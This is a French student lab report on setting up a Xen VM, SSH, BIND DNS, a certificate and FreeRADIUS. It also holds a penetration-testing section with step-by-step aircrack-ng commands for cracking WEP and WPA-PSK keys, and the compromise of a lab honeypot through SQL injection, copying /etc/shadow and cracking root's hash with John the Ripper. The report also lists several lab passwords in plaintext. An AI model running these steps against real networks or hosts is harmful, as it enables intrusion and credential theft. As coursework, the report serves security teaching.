TP sysres IMA5 2021/2022 G6
Sommaire
Création de la machine virtuelle
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :
$ export http_proxy=http://proxy.plil.fr:3128
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.
$ lvcreate -L10G -n Bellerose1 storage $ lvcreate -L10G -n Bellerose2 storage
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :
$ mkfs.ext4 /dev/storage/Bellerose1 $ mkfs.ext4 /dev/storage/Bellerose2
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.
$ vim /etc/xen/Bellerose.cfg disk = [ 'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w', 'phy:/dev/storage/Bellerose1,xvda3,w', 'phy:/dev/storage/Bellerose2,xvda4,w' ] vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]
On peut maintenant lancer notre machine virtuelle :
$ xl create -c /etc/xen/Bellerose.cfg
Avec la commande :
$ cat /etc/fstab
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :
$ mkdir /mnt/xvda3 $ mkdir /mnt/xvda4 $ mount /dev/xvda3 /mnt/xvda3 $ mount /dev/xvda4 /mnt/xvda4
Puis on déplace le répertoire var dans le disque xvda4 :
$ mv /var/* /mnt/xvda4
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :
# /home vers xvda3 /dev/xvda3 /home ext4 defaults 0 2 # /var vers xvda4 /dev/xvda4 /var ext4 defaults 0 2
On monte le tout à l'aide de la commande :
mount -a
Enfin avec lsblk, on peut voir les deux partitions de notre VM :
$ lsblk xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Enfin, nous activons l'IPv6 sur l'interface en modifiant /etc/network/interfaces
iface eth0 inet6 auto
Pour quitter la VM : CTRL+]
Services Internet
Serveur SSh
$ apt install openssh-server
on édite le fichierde conf /etc/ssh/sshd_config
:
PermitRootLogin without-password PubkeyAuthentication yes
après on reload la conf
$ systemctl reload ssh
On génère une clé ssh avec ssh-keygen -t ed25519
et on l'ajoute dans /.ssh/authorized_keys
et c'est gooooood
Serveur DNS
on achète le ndd
on crée un "Glue Record" pour notre nameserver ns1.belle-rose.site
on install bind
$ apt install bind9
on configure /etc/resolv.conf
nameserver 127.0.0.1
on configure bind /etc/bind/named.conf.local
zone "belle-rose.site" IN { type master; file "/etc/bind/db.belle-rose.site"; allow-transfer { 217.70.177.40; }; };
On ajoute nos ns /etc/bind/db.belle-rose.site
; ; BIND dans ta face ; $TTL 604800 @ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.belle-rose.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.181
Ensuite on peut tester notre conf avec
$ host -t any ns1.belle-rose.site localhost Using domain server: Name: localhost Address: 127.0.0.1#53 Aliases: ns1.belle-rose.site has address 193.48.57.181
Gestion des certificats
On a acheté un certificat SSL des familles
1. achat du certif
2. génération du fichier .csr via openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr
3. on le donne à gandi
4. pour valider on met le fichier dans http://belle-rose.site/.well-known/pki-validation/BC8C7DC310AD45D89E3F4412E6193A7F.txt
Tests d'intrusion
Exploitation de failles du système
Cassage de clef WEP d’un point d’accès WiFi
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :
$ airmon-ng
On trouve l'interface suivante :
wlx40a5ef0127d0
On essaie de démarrer l'interface sur le channel 3 :
$ airmon-ng start wlx40a5ef0127d0 3
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :
$ airmon-ng start wlan0mon 3
On écoute ensuite tous les paquets dans l'air :
$ airodump-ng wlan0mon
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap
On obtient alors :
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ] Decrypted correctly: 100%
Cassage de mot de passe WPA-PSK par force brute
$ airmon-ng $ airmon-ng start wlan0mon 9 $ airodump-ng wlan0mon
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon
On crée le dictionnaire contenant toutes les clefs à tester avec la commande crunch
$ crunch 8 8 0123456789 -o dictionnaire.lst
Pour savoir si un Handshake a été trouvé, on utilise la commande :
$ aircrack-ng psk*.cap
On trouve :
# BSSID ESSID Encryption 1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)
On peut alors lancer la commande de test des clefs :
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap
Attaque de type "homme au milieu" par usurpation ARP
Intrusion sur un serveur d’application Web
Sur honey.plil.info :
1. injection SQL
2. connexion en tant qu'admin
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".
6. connexion en ssh sur rex@honey.plil.info.
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt
Et on double la taille des mots :
$ sed -i 's/\(.*\)/\1\1/' dico.txt
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth.
$ scp rex@honey.plil.info:/etc/passwd . $ scp rex@honey.plil.info:/etc/shadow .
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :
$ unshadow passwd shadow | head -1 > honey
Puis on utilise "John the Ripper" pour cracker le mot de passe :
$ john -w:dico.txt honey
Après quelques minutes, on peut afficher le mot de passe trouvé :
$ john --show honey root:fortfort:0:0:root:/root:/bin/bash 1 password hash cracked, 0 left
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".
Point d'accès Wi-Fi authentifié via FreeRADIUS
Configuration du point d'accès
a
Serveur FreeRADIUS
Installation de freeRADIUS
apt install freeradius
On commence par configurer /etc/freeradius/3.0/clients.conf
à détailler
client zozo { ipaddr = 10.1.0.3 netmask = 24 secret = zinzin }
ensuite /etc/freeradius/3.0/eap.conf
eap { [...] default_eap_type = peap }
puis /etc/freeradius/3.0/users
[...] root Cleartext-Password := "glopglop"
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X
(après avoir au préalable stoppé le processus)